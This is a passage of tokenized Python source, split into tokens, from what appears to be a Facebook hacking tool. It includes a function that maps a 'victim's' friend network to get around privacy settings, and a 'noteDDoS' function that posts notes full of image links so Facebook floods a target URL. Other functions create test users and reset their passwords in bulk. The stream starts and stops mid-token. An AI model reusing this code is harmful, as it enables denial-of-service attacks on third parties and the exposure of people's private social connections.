", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "a_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "email_", ",_", "password_", "=_", "set", "Mail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login_", "(_", "email_", ",_", "password_", ",_", "'", "real", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "transiti", "ve_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "frie", "nd", "Name_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "transiti", "ve_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ead", "y", " ", "analyse", "d", " ", "for", " ", "non", " ", "repe", "titi", "ven", "ess_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analysis_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "victim", "_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "transiti", "vo_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "note", "DD", "o", "S_", "(_", "image", "URL_", ",_", "note", "ID_", ",_", "privacy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "j_", "=_", "int_", "(_", "raw", "\\u", "input_", "(_", "'", "startin", "g", " ", "parameter", " ", "number", "?", " ", "(", "img", ".", "jp", "g", "?", "file", "=", "number", ")", " ", ":", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "amount_", "=_", "int_", "(_", "raw", "\\u", "input_", "(_", "'", "last", " ", "parameter", " ", "number", "?", " ", "(", "img", ".", "jp", "g", "?", "file", "=", "number", ")", " ", ":", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title_", "=_", "raw", "\\u", "input_", "(_", "'", "Not", "e", " ", "title", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "'<", "p", ">'_", "+_", "raw", "\\u", "input_", "(_", "'", "Not", "e", " ", "previe", "w", " ", "text", ":", " ", "'_", ")_", "+_", "'<", "/", "p", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "j_", ",_", "int_", "(_", "amount_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "+=_", "'<", "p", "><", "img", " ", "src", "=\"'_", "+_", "image", "URL_", "+_", "'?", "file", "='_", "+_", "str_", "(_", "i_", ")_", "+_", "'\">", "</", "img", "><", "/", "p", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "'_", ":_", "note", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "\\u", "id", "'_", ":_", "note", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "\\u", "content", "'_", ":_", "content_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "['_", "+_", "note", "ID_", "+_", "']", "[", "value", "]'_", ":_", "privacy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "publi", "sh", "'_", ":_", "'", "Publish", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "hy", "j", "3", "4f", "zp", "Q", "9", "U", "o", "Ha", "EW", "y1", "m", "9", "AC", "w", "Ky", "a", "F3", "pq", "z", "CA", "j", "FD", "x", "Cm", "6", "qy", "E", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "7", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "989", "715", "412", "011", "549", "651", "169", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "122", "462", "4", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "note", "s", "/", "edit", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "the", " ", "DD", "o", "S", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "the", " ", "DD", "o", "S", " ", "module", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dev", "Test_", "(_", "app", "ID_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "count", "'_", ":_", "'", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "str_", "(_", "app", "ID_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "\\u", "app", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "platform", "\\u", "version", "'_", ":_", "'", "v2", ".0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "enable", "\\u", "ticker", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "language", "'_", ":_", "'", "en", "\\u", "US", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "w", "86", "i1", "Py", "Un", "xq", "n", "Fw", "n", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "2110", "116", "109", "767", "311", "810", "511", "273", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "126", "224", "2", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/", "apps", "/", "async", "/", "test", "-", "users", "/", "create", "/'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "dev", "Test", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "dev", "Test", " ", "module", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "change", "Password_", "(_", "app", "ID_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "people_", "=_", "database_", "._", "get", "Users_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "people", "Log", "ged_", "=_", "database_", "._", "get", "User", "s", "Not", "Log", "ged_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "persona", "_", "in_", "people_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "persona", "_", "in_", "people", "Log", "ged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "str_", "(_", "persona", "_", "[_", "1_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "'", "12345678", "90", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "confirm", "\\u", "password", "'_", ":_", "'", "12345678", "90", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "w", "86", "i1", "Py", "Un", "xq", "n", "Fw", "n", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "a", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "985", "825", "589", "106", "1021", "181", "127", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "126", "277", "6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/", "apps", "/", "async", "/", "test", "-", "users", "/", "edit", "/?", "app", "\\u", "id", "='_", "+_", "app", "ID_", "+_", "'&", "test\\u", "user", "\\u", "id", "='_", "+_", "str_", "(_", "persona", "_", "[_", "0_", "]_", ")_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "General", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "File", "Database_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "vo_", "=_", "get", "Name_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transiti", "vo", "ID_", "=_", "get", "User", "ID_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "transiti", "vo", "ID_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo", "ID_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "transiti", "vo_", ",_", "transiti", "vo", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Id_", "=_", "get", "User", "ID_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "add", "Edge_", "(_", "victim", "_", ",_", "transiti", "vo_", ",_", "transiti", "vo", "ID_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", 